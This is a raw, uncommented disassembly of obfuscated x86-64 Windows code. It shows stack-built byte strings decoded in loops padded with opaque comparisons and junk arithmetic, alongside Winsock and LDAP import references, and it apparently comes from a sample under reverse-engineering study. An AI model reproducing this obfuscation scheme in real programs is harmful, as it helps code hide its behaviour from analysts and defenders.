sub r10b, 0x24
jmp 0x140094f91
movabs rdx, 0x1c1640188cdb53ca
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, 0x3d
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dl
movzx eax, byte [rbp + rbx + 0x820]
add rax, r8
add rbx, rax
inc rbx
jmp 0x140094322
movabs rcx, 0xfef325d464274b32
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x5e
jmp 0x140094f91
movabs rcx, 0xd33e7e6e27193e4e
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x22
jmp 0x140094f0a
movabs rdx, 0xa789d707ea0b316a
mov ecx, reloc.WS2_32.dll_listen
add rdx, rbx
movzx eax, dl
and al, r11b
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
movabs rcx, 0xee47e45b181bdd4a
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
sub cl, 6
add cl, r11b
mov byte [rbp + rbx + 0x820], cl
inc r8
dec rbx
inc rbx
jmp 0x140094322
movabs rdx, 0x6d43a27f98a3203a
mov ecx, gethostname
add rdx, rbx
movzx eax, dl
and al, r11b
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
dec rbx
inc rbx
jmp 0x140094322
movabs rdx, 0x5eb2155d84491bee
mov ecx, 0x3f
add rdx, rbx
movzx eax, dl
and al, r11b
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
movabs rdx, 0xfcd9717d2c75e196
add rdx, rbx
movzx eax, dl
and al, r11b
add al, al
movzx ecx, r10b
sub cl, al
sub cl, 0x1a
add cl, dl
add cl, r11b
mov byte [rbp + rbx + 0x820], cl
jmp 0x140094f58
movabs rcx, 0x5020883b6fef17a2
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x6e
add r9, r8
movzx eax, r10b
mov rcx, r12
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x140094322
mov r11, rdx
movabs rcx, 0x32fd6df7473b0f0a
add rcx, rbx
movzx eax, cl
and al, dl
add al, al
sub cl, al
lea r10d, [rdx + rcx]
sub r10b, 0x46
movabs rdx, 0xb6afe9f40cfe5e2
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx ecx, r11b
sub cl, al
sub cl, 0x2e
add cl, dl
movzx eax, cl
mov byte [rbp + rbx + 0x820], al
inc r8
add rax, r8
sub rbx, rax
movabs rcx, 0x12b3c5304afce808
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
sub cl, 0x38
add cl, r11b
mov byte [rbp + rbx + 0x820], cl
inc r9
mov rax, r12
sub rax, r9
add rbx, rax
movzx eax, byte [rbp + rbx + 0x820]
add rax, r8
add rbx, rax
inc rbx
jmp 0x140094322
movabs rcx, 0x15da53b31e870672
add rcx, rbx
movzx eax, dl
and al, cl
add al, al
sub dl, al
lea r10d, [rcx + rdx]
sub r10b, 0x1e
movzx eax, byte [rbp + rbx + 0x820]
add rax, r8
add rbx, rax
inc rbx
jmp 0x140094322
movabs rcx, 0xc8cf295a49621dbe
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
sub r10b, 0x32
jmp 0x140094320
movabs rcx, 0xba3d9c3835081972
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x1e
jmp 0x140094310
lea rcx, [rbp + 0x17d79a8]
jmp 0x1400950a6
lea rcx, [rbp + 0x16a7bce]
jmp 0x1400950a6
lea rcx, [rbp + 0x820]
mov rdx, rdi
call fcn.140035c60
lea rdx, [0x140229ee0]
lea rcx, [rbp + 0x1c8]
call fcn.140002680
mov rdi, rax
mov qword [rsp + 0x48], rax
mov r8, rax
lea rdx, [rbp + 0x68]
mov rcx, qword [0x140230160]
call fcn.14006c820
mov rbx, qword [rax]
mov rcx, rdi
call fcn.140002820
mov rcx, rdi
call fcn.140002640
lea rcx, [rbx + 0x30]
call fcn.14006ba40
mov rsi, rax
mov byte [rbp + 0x848], Ordinal_45
mov byte [rbp + 0x849], Ordinal_200
mov byte [rbp + 0x84a], Ordinal_200
mov byte [rbp + 0x84b], Ordinal_200
mov byte [rbp + 0x84c], Ordinal_211
mov byte [rbp + 0x84d], Ordinal_200
mov byte [rbp + 0x84e], Ordinal_211
mov byte [rbp + 0x84f], Ordinal_211
mov byte [rbp + 0x850], reloc.WS2_32.dll_sendto
mov byte [rbp + 0x851], reloc.WLDAP32.dll_Ordinal_50
mov byte [rbp + 0x852], Ordinal_211
mov byte [rbp + 0x853], 0xde
mov byte [rbp + 0x854], 0xdf
mov byte [rbp + 0x855], Ordinal_217
mov byte [rbp + 0x856], 0x7e
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x857], xmm0
mov dword [rbp + 0x867], eax
movabs r14, 0xc43dbb72031cb0e6
movabs r15, 0x43b0fd47fc37cfda
movabs r13, 0x3d31349275d38e3e
movzx r11d, byte [rsp + 0x40]
nop word [rax + rax]
mov r9, qword [0x1402304a8]
mov r8, qword [0x1402304a0]
nop
xor edi, edi
movabs rcx, 0x833fe45ac33220ce
cmp rdi, 0x23
jae 0x140096074
movzx ebx, byte [rbp + rdi + 0x848]
mov r10, rbx
cmp r9, rdi
ja 0x140096068
lea rax, [r8 + 1]
cmp r9, rax
jae 0x140095203
add rcx, rdi
mov rax, rbx
and rax, rcx
imul r11, rax, 0xfffffffffffffffe
add r11, rbx
add r11, rcx
add r11b, 0x5e
jmp 0x140095240
je 0x140095fd7
lea rax, [r8 + 3]
cmp r9, rax
je 0x140095f9e
lea rax, [r8 + 5]
cmp r9, rax
je 0x140095f43
lea rax, [r8 + 4]
cmp r9, rax
je 0x140095f1a
lea rax, [r8 + 6]
cmp r9, rax
je 0x140095ecc
nop dword [rax]
cmp r8, rdi
ja 0x14009605c
lea rax, [r8 + 0x80]
cmp r9, rax
jae 0x140095277
lea rdx, [rdi + r14]
movzx eax, bl
and al, dl
add al, al
movzx r11d, bl
sub r11b, al
sub r11b, 0x4a
add r11b, dl
jmp 0x1400952c0
lea rax, [r8 + 1]
cmp r9, rax
je 0x140095ea4
lea rax, [r8 + 3]
cmp r9, rax
je 0x140095e7b
lea rax, [r8 + 6]
cmp r9, rax
je 0x140095e43
lea rax, [r8 + 7]
cmp r9, rax
je 0x140095dab
lea rax, [r8 + 5]
cmp r9, rax
je 0x140095d72
nop dword [rax + rax]
lea rax, [r9 + r8]
cmp rax, rdi
jbe 0x140095962
nop dword [rax]
lea rax, [r8 + 0x80]
cmp r9, rax
je 0x14009593a
lea rax, [r8 + 0x10]
cmp r9, rax
je 0x140095909
lea rax, [r8 + 4]
cmp r9, rax
je 0x1400958e0
lea rax, [r8 + 0x41]
cmp r9, rax
je 0x1400958bd
lea rax, [r8 + 0x200]
cmp r9, rax
je 0x140095882
lea rax, [r8 + 0x1000]
cmp r9, rax
je 0x14009584a
lea rax, [r8 + 0x42]
cmp r9, rax
je 0x140095827
lea rax, [r8 + 9]
cmp r9, rax
je 0x140095804
lea rax, [r8 + 2]
cmp r9, rax
je 0x1400957cb
lea rax, [r8 + 0x61]
cmp r9, rax
je 0x1400952d0
lea r9, [r8 + 1]
lea r8, [r9 + 0x64]
lea rax, [r8 + 0x1000]
cmp r9, rax
jb 0x140096034
lea rax, [r8 + 0x42]
cmp r9, rax
jb 0x140096011
lea rax, [r8 + 9]
cmp r9, rax
jb 0x1400954c9
lea rax, [r8 + 2]
cmp r9, rax
jb 0x1400954aa
lea rax, [r8 + 0x61]
cmp r9, rax
jb 0x14009548b
lea rax, [r8 + 0x64]
cmp r9, rax
jb 0x140095768
lea rax, [r8 + 0xa]
cmp r9, rax
jb 0x140095708
lea rax, [r8 + 3]
cmp r9, rax
jb 0x1400956ba
lea rax, [r8 + 0x7a]
cmp r9, rax
jb 0x14009568c
lea rax, [r8 + 0x80]
cmp r9, rax
jb 0x1400952d0
lea r9, [r8 + 5]
lea r8, [r9 + 0x10]
lea rax, [r8 + 0x5a]
cmp r9, rax
ja 0x140095658
lea rax, [r8 + 0x3e8]
cmp r9, rax
ja 0x140095635
lea rax, [r8 + 0x28]
cmp r9, rax
ja 0x14009560d
lea rax, [r8 + 6]
cmp r9, rax
ja 0x1400955d5
lea rax, [r8 + 0x2a]
cmp r9, rax
ja 0x14009559f
lea rax, [r8 + 0x400]
cmp r9, rax
ja 0x140095577
lea rax, [r8 + 0x40]
cmp r9, rax
ja 0x140095549
lea rax, [r8 + 8]
cmp r9, rax
ja 0x14009551d
lea rax, [r8 + 1]
cmp r9, rax
ja 0x1400954fa
lea rax, [r8 + 0x1000]
cmp r9, rax
ja 0x1400952d0
lea r9, [r8 + 0xa]
lea r8, [r9 + 0x42]
jmp 0x1400952d0
lea rdx, [rdi + r15]
movzx eax, dl
and al, bl
mov ecx, 5
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
jmp 0x1400952c0
lea rdx, [rdi + r13]
movzx eax, bl
and al, dl
mov ecx, Ordinal_41
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
jmp 0x140095240
movabs rdx, 0x36b16bdcef6f4ca2
add rdx, rdi
movzx eax, bl
and al, dl
add al, al
movzx r11d, bl
sub r11b, al
sub r11b, 0x6e
add r11b, dl
movabs rcx, 0x833fe45ac33220ce
jmp 0x1400951ce
movabs rcx, 0x21eddb9018e58730
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x50
jmp 0x140095eea
movabs rcx, 0x1b6e12da92814594
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0xc
inc r8
dec rdi
inc rdi
jmp 0x1400951b2
movabs rdx, 0x14ee4a250c1d03f8
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, Ordinal_30
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
dec rdi
inc rdi
jmp 0x1400951b2
movabs rdx, 0xe6e816f85b8c25c
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, 0x3e
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
jmp 0x140095f61
movabs rcx, 0x7eeb8b9ff5480c0
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x40
add r9, r8
movzx eax, r11b
mov rcx, r12
sub rcx, rax
add rdi, rcx
inc rdi
jmp 0x1400951b2
movabs rdx, 0x16ef00478f03f24
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, 2
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
movzx eax, r11b
mov rcx, r12
sub rcx, rax
add rdi, rcx
inc rdi
jmp 0x1400951b2
movabs rdx, 0xfaef274ef28bfd88
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, 0x24
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
jmp 0x140095dcd
movabs rcx, 0xf46f5e996c27bbec
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x74
jmp 0x140095dff
movabs rcx, 0xedef95e3e5c37a50
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x30
movzx eax, byte [rbp + rdi + 0x848]
add rax, r8
add rdi, rax
inc rdi
jmp 0x1400951b2
movabs rcx, 0x5db0201e15c8d64a
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 6
mov byte [rbp + rdi + 0x848], r11b
inc rdi
jmp 0x1400951b2
movabs rdx, 0x573057688f6494ae
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, Ordinal_35
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
cmp r8, 0x64
jb 0x1400956aa
movabs rcx, 0x4b74fc29c5f91214
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
add cl, bl
lea r11d, [rcx*2 - 0x18]
jmp 0x140095eea
movabs rcx, 0x50b08eb309005312
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x7e
cmp r9, 0x1000
jae 0x140095d16
lea rax, [r8 + 0x2a]
cmp r9, rax
jbe 0x140095c2a
movabs rdx, 0xa772512860e81fc
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, recv
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
jmp 0x1400956dd
movabs rcx, 0x4a30c5fd829c1176
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x3a
lea rax, [r9 + r8]
cmp rax, 0x80
je 0x140095d46
lea rax, [r8 + 0x61]
cmp r9, rax
jbe 0x140095abd
movabs rdx, 0x463969a082f1d116
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, 0x33
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
jmp 0x140095726
movabs rdx, 0x997264ac12ac2564
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, Ordinal_35
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
movzx eax, byte [rbp + rdi + 0x848]
add rax, r8
add rdi, rax
inc rdi
jmp 0x1400951b2
movabs rcx, 0x92f29bf68c47e3c8
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x78
jmp 0x140095dff
movabs rcx, 0x8c72d34105e3a22c
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x34
jmp 0x140095dcd
movabs rdx, 0x85f30a8b7f7f6090
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, 8
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
movzx eax, r11b
mov rcx, r12
sub rcx, rax
add rdi, rcx
inc rdi
jmp 0x1400951b2
movabs rdx, 0x7f7341d5f91b1ef4
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, Ordinal_45
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
add r9, r8
movzx eax, r11b
mov rcx, r12
sub rcx, rax
add rdi, rcx
inc rdi
jmp 0x1400951b2
movabs rcx, 0x78f3792072b6dd58
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x68
jmp 0x140095f61
movabs rcx, 0x7273b06aec529bbc
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x24
dec rdi
inc rdi
jmp 0x1400951b2
movabs rdx, 0x6bf3e7b565ee5a20
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, reloc.WS2_32.dll_recv
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
inc r8
dec rdi
inc rdi
jmp 0x1400951b2
movabs rdx, 0x65741effdf8a1884
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, reloc.WLDAP32.dll_Ordinal_50
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
jmp 0x140095eea
lea rax, [r8 + 6]
cmp r9, rax
jae 0x140095997
movabs rdx, 0x833fe45ac33220ce
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, Ordinal_50
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
jmp 0x140095786
lea rax, [r8 + 1]
cmp r9, rax
jne 0x1400959dd
movabs rdx, 0x887b76e4063961cc
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, gethostname
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
movzx eax, byte [rbp + rdi + 0x848]
add rax, r8
add rdi, rax
inc rdi
jmp 0x1400951b2
lea rax, [r8 + 3]
cmp r9, rax
jne 0x140095a1d
movabs rcx, 0x9bfad104996626a0
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x60
movzx eax, r11b
mov rcx, r12
sub rcx, rax
add rdi, rcx
inc rdi
jmp 0x1400951b2
lea rax, [r8 + 5]
cmp r9, rax
jne 0x140095a52
movabs rdx, 0xa8fa626fa62ea9d8
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, recv
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
jmp 0x140095f61
lea rax, [r8 + 4]
cmp r9, rax
jne 0x140095a88
movabs rcx, 0xaf7a2b252c92eb74
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x2c
dec rdi
inc rdi
jmp 0x1400951b2
lea rax, [r8 + 6]
cmp r9, rax
jne 0x140095786
movabs rdx, 0xbc79bc90395b6eac
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, Ordinal_41
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
jmp 0x140095eea
lea rax, [r8 + 1]
cmp r9, rax
jne 0x140095af2
movabs rdx, 0x4cb93256095612b2
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, reloc.WS2_32.dll_recvfrom
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
jmp 0x140095eea
lea rax, [r8 + 3]
cmp r9, rax
jne 0x140095b27
movabs rdx, 0x60388c769c82d786
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, Ordinal_45
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
jmp 0x140095f61
lea rax, [r8 + 4]
cmp r9, rax
jne 0x140095b6f
movabs rdx, 0x66b8552c22e71922
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, 9
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
add r9, r8
movzx eax, r11b
mov rcx, r12
sub rcx, rax
add rdi, rcx
inc rdi
jmp 0x1400951b2
lea rax, [r8 + 5]
cmp r9, rax
jne 0x140095baf
movabs rcx, 0x6d381de1a94b5abe
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x32
movzx eax, r11b
mov rcx, r12
sub rcx, rax
add rdi, rcx
inc rdi
jmp 0x1400951b2
lea rax, [r8 + 2]
cmp r9, rax
jne 0x140095be4
movabs rdx, 0x7a37af4cb613ddf6
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_35
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
jmp 0x140095dff
lea rax, [r8 + 9]
cmp r9, rax
jne 0x140095726
movabs rdx, 0x80b778023c781f92
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, 1
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
movzx eax, byte [rbp + rdi + 0x848]
add rax, r8
add rdi, rax
inc rdi
jmp 0x1400951b2
lea rcx, [r8 + 1]
cmp r9, rcx
jne 0x140095c6b
movabs rcx, 0x10f6edc80c72c398
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x28
movzx eax, byte [rbp + rdi + 0x848]
add rax, r8
add rdi, rax
inc rdi
jmp 0x1400951b2
lea rax, [r8 + 3]
cmp r9, rax
jne 0x140095c9d
movabs rdx, 0x1df67f33193b46d0
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, Ordinal_41
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
jmp 0x140095dca
lea rax, [rcx + 1]
cmp r9, rax
jne 0x140095ce2
movabs rdx, 0x247647e89f9f886c
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, 6
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
movzx eax, r11b
mov rcx, r12
sub rcx, rax
add rdi, rcx
inc rdi
jmp 0x1400951b2
lea rax, [r8 + 8]
cmp r9, rax
jne 0x1400956dd
movabs rdx, 0x44f533743f94d078
add rdx, rdi
movzx eax, bl
and al, dl
add al, al
movzx r11d, bl
sub r11b, al
sub r11b, 0x48
add r11b, dl
jmp 0x140095eea
movabs rdx, 0x51f4c4df4c5d53b0
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, Ordinal_26
sub cl, al
lea r11d, [rcx + rcx]
add r11b, byte [rbp + rdi + 0x848]
add r11b, dl
add r11b, bl
jmp 0x140095f61
movabs rdx, 0x58748d94d2c1954c
add rdx, rdi
movzx eax, bl
and al, dl
add al, al
movzx r11d, bl
sub r11b, al
sub r11b, byte [rbp + rdi + 0x848]
sub r11b, 0x14
jmp 0x140095dca
movabs rdx, 0xfebbc9d3bca2ff62
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, reloc.WLDAP32.dll_Ordinal_41
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
movzx eax, byte [rbp + rdi + 0x848]
add rax, r8
add rdi, rax
inc rdi
jmp 0x1400951b2
movabs rdx, 0xf1bc3868afda7c2a
add rdx, rdi
movzx eax, bl
and al, dl
add al, al
movzx r11d, bl
sub r11b, al
sub r11b, 0x26
add r11b, dl
movabs rdx, 0xdbb471ef95f3b61a
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, Ordinal_41
sub cl, al
add cl, cl
add cl, bl
add cl, dl
movzx eax, cl
mov byte [rbp + rdi + 0x848], al
inc r8
add rax, r8
sub rdi, rax
movabs rcx, 0x5ef4564a5925d6e8
add rcx, rdi
movzx eax, bl
and al, cl
add al, al
sub bl, al
sub bl, 0x58
add bl, cl
mov byte [rbp + rdi + 0x848], bl
inc r9
mov rax, r12
sub rax, r9
add rdi, rax
movzx eax, byte [rbp + rdi + 0x848]
add rax, r8
add rdi, rax
inc rdi
jmp 0x1400951b2
movabs rdx, 0xeb3c6fb329763a8e
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, reloc.WS2_32.dll_ntohs
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
movzx eax, r11b
mov rcx, r12
sub rcx, rax
add rdi, rcx
inc rdi
jmp 0x1400951b2
movabs rcx, 0xd7bd1592964975ba
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x16
dec rdi
inc rdi
jmp 0x1400951b2
movabs rdx, 0xcabd84278980f282
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, reloc.WS2_32.dll_gethostname
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
jmp 0x140095eea
movabs rcx, 0xbdbdf2bc7cb86f4a
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 6
movabs rcx, 0xceb4e084892b32e2
add rcx, rdi
movzx eax, bl
and al, cl
add al, al
sub bl, al
sub bl, 0x2e
add bl, cl
mov byte [rbp + rdi + 0x848], bl
inc r8
dec rdi
inc rdi
jmp 0x1400951b2
movabs rcx, 0xb0be61516fefec12
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x7e
dec rdi
inc rdi
jmp 0x1400951b2
movabs rcx, 0xaa3e989be98baa76
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x3a
movabs rcx, 0xd534a93a0f8f747e
add rcx, rdi
movzx eax, bl
and al, cl
add al, al
sub bl, al
sub bl, 0x72
add bl, cl
add bl, r11b
mov byte [rbp + rdi + 0x848], bl
add r9, r8
movzx eax, r11b
mov rcx, r12
sub rcx, rax
add rdi, rcx
inc rdi
jmp 0x1400951b2
movabs rdx, 0x9d3f0730dcc3273e
add rdx, rdi
movzx eax, dl
and al, r10b
mov ecx, Ordinal_41
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
add r11b, dl
movzx eax, r11b
mov rcx, r12
sub rcx, rax
add rdi, rcx
inc rdi
jmp 0x1400951b2
movabs rdx, 0x89bfad104996626a
add rdx, rdi
movzx eax, r10b
and al, dl
mov ecx, reloc.WS2_32.dll_listen
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
add r11b, dl
movzx eax, byte [rbp + rdi + 0x848]
add rax, r8
add rdi, rax
inc rdi
jmp 0x1400951b2
movabs rcx, 0x3031a327690b0b06
add rcx, rdi
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r11d, [rcx + rbx]
sub r11b, 0x2a
jmp 0x1400951ae
movabs rdx, 0x29b1da71e2a6c96a
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, reloc.WS2_32.dll_listen
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
jmp 0x14009519a
lea rcx, [rbp + 0x16e12b0]
jmp 0x14009607b
lea rcx, [rbp + 0xe0337e]
jmp 0x14009607b
lea rcx, [rbp + 0x848]
mov rdx, rsi
call fcn.140035c60
mov byte [rbp + 0x870], __WSAFDIsSet
mov byte [rbp + 0x871], 0x84
mov byte [rbp + 0x872], 0xf6
mov byte [rbp + 0x873], 0xf7
mov byte [rbp + 0x874], Ordinal_143
mov byte [rbp + 0x875], Ordinal_143
mov byte [rbp + 0x876], 0x81
mov byte [rbp + 0x877], 0xf4
mov byte [rbp + 0x878], 0x68
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x879], xmm0
mov qword [rbp + 0x889], rax
mov word [rbp + 0x891], ax
movabs rsi, 0x41a89f2f18169170
movabs r13, 0xadcb13c54a4a37b0
movabs r14, 0x5d43bc1f564c3c90
movabs r15, 0x1ad9494c1b7cd30
movzx r11d, byte [rsp + 0x40]
nop word [rax + rax]
mov r8, qword [0x1402304a8]
mov r9, qword [0x1402304a0]
nop
xor edi, edi
cmp rdi, 0x23
jae 0x140096e2a
movzx ebx, byte [rbp + rdi + 0x870]
mov r10, rbx
cmp r8, rdi
ja 0x140096e1e
lea rax, [r9 + 1]
cmp r8, rax
jae 0x14009616a
lea rcx, [rdi + r13]
mov rax, rcx
and rax, rbx
imul r11, rax, 0xfffffffffffffffe
add r11, rcx
add r11, rbx
add r11b, 0x30
jmp 0x140096197
je 0x140096d96
lea rax, [r9 + 3]
cmp r8, rax
je 0x140096cf5
lea rax, [r9 + 5]
cmp r8, rax
je 0x140096c95
lea rax, [r9 + 9]
cmp r8, rax
je 0x140096c43
cmp r9, rdi
ja 0x140096e12
lea rax, [r9 + 0x40]
cmp r8, rax
jae 0x1400961c7
lea rcx, [rdi + rsi]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x10
jmp 0x140096210
lea rax, [r9 + 1]
cmp r8, rax
je 0x140096c1b
inc rax
cmp r8, rax
je 0x140096bed
lea rax, [r9 + 3]
cmp r8, rax
je 0x140096bca
lea rax, [r9 + 6]
cmp r8, rax
je 0x140096ba7
lea rax, [r9 + 5]
cmp r8, rax
je 0x140096b6e
nop word [rax + rax]
lea rax, [r9 + r8]
cmp rax, rdi
jbe 0x140096873
nop dword [rax]
lea rax, [r9 + 0x28]
cmp r8, rax
je 0x140096850
lea rax, [r9 + 0x200]
cmp r8, rax
je 0x140096828
lea rax, [r9 + 0x40]
cmp r8, rax
je 0x1400967fa
lea rax, [r9 + 0x3e8]
cmp r8, rax
je 0x1400967d3
lea rax, [r9 + 0x42]
cmp r8, rax
je 0x1400967ab
lea rax, [r9 + 0x10]
cmp r8, rax
je 0x140096778
lea rax, [r9 + 0x64]
cmp r8, rax
je 0x140096755
lea rax, [r9 + 0x20]
cmp r8, rax
je 0x14009672d
lea rax, [r9 + 8]
cmp r8, rax
je 0x1400966f9
lea r8, [r9 + 0x3e8]
lea r9, [r8 + 9]
lea rax, [r9 + 0x41]
cmp r8, rax
jb 0x140096def
lea rax, [r9 + 0x400]
cmp r8, rax
jb 0x140096dcc
lea rax, [r9 + 0x64]
cmp r8, rax
jb 0x140096413
lea rax, [r9 + 0x1000]
cmp r8, rax
jb 0x1400963f9
lea rax, [r9 + 0x80]
cmp r8, rax
jb 0x1400963da
lea rax, [r9 + 0x61]
cmp r8, rax
jb 0x140096693
lea rax, [r9 + 0x200]
cmp r8, rax
jb 0x140096633
lea rax, [r9 + 0x40]
cmp r8, rax
jb 0x1400965df
lea rax, [r9 + 0x3e8]
cmp r8, rax
jb 0x1400965b1
lea rax, [r9 + 0x42]
cmp r8, rax
jb 0x140096220
lea r8, [r9 + 4]
lea r9, [r8 + 0x10]
lea rax, [r9 + 0x2a]
cmp r8, rax
ja 0x14009657d
lea rax, [r9 + 0x61]
cmp r8, rax
ja 0x14009655a
lea rax, [r9 + 1]
cmp r8, rax
ja 0x140096532
lea rax, [r9 + 0x7a]
cmp r8, rax
ja 0x1400964ff
lea rax, [r9 + 0x3e8]
cmp r8, rax
ja 0x1400964e0
lea rax, [r9 + 0x41]
cmp r8, rax
ja 0x1400964b8
lea rax, [r9 + 0x400]
cmp r8, rax
ja 0x14009648f
lea rax, [r9 + 0x5a]
cmp r8, rax
ja 0x14009645e
lea rax, [r9 + 0x1000]
cmp r8, rax
ja 0x14009643b
lea rax, [r9 + 0x80]
cmp r8, rax
ja 0x140096220
